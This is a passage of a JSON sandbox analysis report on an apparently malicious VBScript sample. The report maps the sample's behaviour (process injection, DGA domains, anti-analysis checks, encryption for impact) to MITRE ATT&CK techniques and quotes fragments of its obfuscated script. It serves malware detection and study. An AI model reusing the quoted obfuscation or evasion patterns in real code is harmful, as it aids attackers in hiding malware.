Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Unencrypted Non-C2 Protocol","attack_id":"T1048.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1048/003","identifiers":[{"type":"informative","value":"Data transmitted in plain text over an insecure network protocol/port"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Contains ability to close a handle to a service (API string)"},{"type":"informative","value":"Able to change the configuration parameters of a service"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"$25","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify process memory (API string)","description":"Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAllocEx\"; Source: \"00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.003","id":"string-439","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify thread functionality – possible hijack (API string)","description":"Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThread\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")\n Found reference to API \"SetThreadContext\" (Indicator: \"SetThreadContext\"; Source: \"00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp\")\n Found reference to API \"GetThreadContext\" (Indicator: \"GetThreadContext\"; Source: \"00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp\")\n Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; Source: \"00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp\")\n Found reference to API \"Wow64GetThreadContext\" (Indicator: \"GetThreadContext\"; Source: \"00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp\")\n Found reference to API \"Wow64SetThreadContext\" (Indicator: \"SetThreadContext\"; Source: \"00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp\")\n Found reference to API \"CreateRemoteThread\" (Indicator: \"CreateRemoteThread\"; Source: \"00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":3,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"\"WScript.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00004012)\n \"WScript.exe\" called \"FindResourceW\" with parameter \"63\" - (UID: 00000000-00004012)\n \"WScript.exe\" called \"FindResourceW\" with parameter \"64\" - (UID: 00000000-00004012)\n \"WScript.exe\" called \"FindResourceW\" with parameter \"8\" - (UID: 00000000-00004012)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"\"WScript.exe\" called \"LoadResource with parameter {'hModule': '2209089388545', 'hResInfo': '2209089389792'}\" (UID: 00000000-00004012)\n \"WScript.exe\" called \"LoadResource with parameter {'hModule': '2209089388545', 'hResInfo': '2209089389824'}\" (UID: 00000000-00004012)\n \"WScript.exe\" called \"LoadResource with parameter {'hModule': '2209089388545', 'hResInfo': '2209089389840'}\" (UID: 00000000-00004012)\n \"WScript.exe\" called \"LoadResource with parameter {'hModule': '2209089388545', 'hResInfo': '2209089389808'}\" (UID: 00000000-00004012)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to create a remote thread (API string)","description":"Found reference to API \"CreateRemoteThread\" (Indicator: \"CreateRemoteThread\"; Source: \"00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-79","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$26","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")\n Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThreadToken\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"$27","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp, 00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify system service (API string)","description":"Found reference to API \"ChangeServiceConfigW\" (Indicator: \"ChangeServiceConfig\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-192","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to open a service (API string)","description":"Found reference to API \"OpenServiceW\" (Indicator: \"OpenService\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to unmap view of a section from a process (API string)","description":"Found reference to API \"ZwUnmapViewOfSection\" (Indicator: \"UnmapViewOfSection\"; Source: \"00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.012","relevance":1,"id":"string-90","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"HashAlgorithm\" (Indicator: \"HashAlgorithm\"; Source: \"00000000-00004040-00000BC0-1342445479\")\n file/memory contains long string with (Indicator: \"Aes\"; File: \"AMSI\")\n file/memory contains long string with (Indicator: \"AesManaged\"; File: \"AMSI\")\n Found reference to \"SA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00004040.00000000.152403.9C100000.00000004.mdmp, 00000000-00004040.00000001.153030.9C100000.00000004.mdmp\")\n Found reference to \"HashAlgorithm\" (Indicator: \"HashAlgorithm\"; Source: \"00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp, 00000000-00004040.00000001.153030.B4740000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00004040.00000001.153030.B4740000.00000004.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$28","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$29","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decrypt/decode data","description":"file/memory contains long string with (Indicator: \"CreateDecryptor\"; File: \"AMSI\")\n file/memory contains long string with (Indicator: \"::Decompress\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-356","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to utilize the Windows bcrypt cryptographic API","description":"Found reference to API \"BCryptOpenAlgorithmProvider\" (Indicator: \"BCryptOpenAlgorithmProvider\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")\n Found reference to API \"BCryptCloseAlgorithmProvider\" (Indicator: \"BCryptCloseAlgorithmProvider\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-927","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode base64 data","description":"file/memory contains long string with (Indicator: \"IO.Compression.CompressionMode\"; File: \"AMSI\")\n file/memory contains long string with (Indicator: \"::Decompress\"; File: \"AMSI\")\n Found reference to API \"TryDecodeBase64\" (Indicator: \"decodebase64\"; Source: \"00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp\")\n Found reference to API \"FromBase64String\" (Indicator: \"FromBase64String\"; Source: \"00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-106","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption/decryption using RSA algorithm","description":"Found string \"rsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00004040.00000001.153030.B20D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-352","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"Contains base64 string in header \"comCache\" in header \"GET /line/?fields=countryCode HTTP/1.1User-Agent: Mozilla/5.0Host: ip-api.comCache-Control: no-cache\"","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to decode base64 data\n Matched sigs: HTTP requests contain Base64 strings","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$2b","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00004040-00000C2C-1343454246\")\n Found reference to API \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00004040-00000C2C-1344044636\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00004040-00000C2C-1343454246\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00004040-00000C2C-1344044636\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00004040-00000C2C-1342276599\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00004040-00000C2C-1342277143\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00004040-00000C2C-1344756831\")\n Found reference to API \"CheckTokenMembershipW\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00004040-00000C2C-1344756857\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")\n Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00004040.00000000.152403.73C8A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"Found reference to API \"GetAddrInfoW\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00004040-00000C2C-1350790726\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"RtlNtStatusToDosError\" in \"00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp\"\n Found system information discovery API: \"ExpandEnvironmentStringsW\" in \"00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp\"\n Found system information discovery API: \"GetSystemInfo\" in \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"Found reference to API \"GetSystemDefaultUILanguage\" (Indicator: \"GetSystemDefaultUILanguage\"; Source: \"00000000-00004040.00000000.152403.73C8A000.00000002.mdmp\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"00000000-00004040.00000000.152403.73C8A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"EnumWindows\" (Indicator: \"enumwindows\"; Source: \"00000000-00004040-00000C2C-1343989663\")\n Found reference to API \"EnumWindowsW\" (Indicator: \"enumwindows\"; Source: \"00000000-00004040-00000C2C-1343989687\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"WScript.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00004012)\n \"powershell.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00004040)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"WScript.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00004012)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"WScript.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00004012)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"WScript.exe\" called \"GetForegroundWindow\" (UID: 00000000-00004012)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"WScript.exe\" called \"IsWow64Process\" with parameter \"4012\" - (UID: 00000000-00004012)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"4040\" - (UID: 00000000-00004040)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00004040)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"WScript.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00004012)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$2c","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$2d","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"WScript.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00004012)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00004040)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00004040)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"WScript.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00004012)\n \"WScript.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00004012)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00004040)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp, 00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$2e","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve environment variable settings","description":"file/memory contains long string with (Indicator: \"\"set \"; File: \"Green Riyadh Uraija-PR.vbs\")\n Found string \"Set PopulationsCritiquesOpponentComplexEarning = CreateObject(\"WScript.Shell\")\" (Indicator: \"set \"; File: \"Green Riyadh Uraija-PR.vbs\")\n Found string \"Set InclinedVigorousAlabamaLayered = PopulationsCritiquesOpponentComplexEarning.Environment(\"Process\")\" (Indicator: \"set \"; File: \"Green Riyadh Uraija-PR.vbs\")\n Found string \"Set KennethSubscribersTransparentFootage = CreateObject(\"MSXML2.DOMDocument\")\" (Indicator: \"set \"; File: \"Green Riyadh Uraija-PR.vbs\")\n Found string \"Set TeachersCommentedWorkshopAuthoredRefresh = KennethSubscribersTransparentFootage.CreateElement(Replace(\"^as\", \"^\", \"b\") & Replace(\"764\", \"7\", \"e\"))\" (Indicator: \"set \"; File: \"Green Riyadh Uraija-PR.vbs\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-326","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp\")\n Found reference to API \"SystemTimeToFileTime\" (Indicator: \"SystemTimeToFileTime\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve operating system version","description":"Observed string: \"Ver\" (Indicator: \"ver\") in Source: 00000000-00004040.00000000.152403.9A210000.00000004.mdmp\n 00000000-00004040.00000001.153030.9A210000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-327","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"$2f","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$30","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$31","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"netsh.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\"; Key: 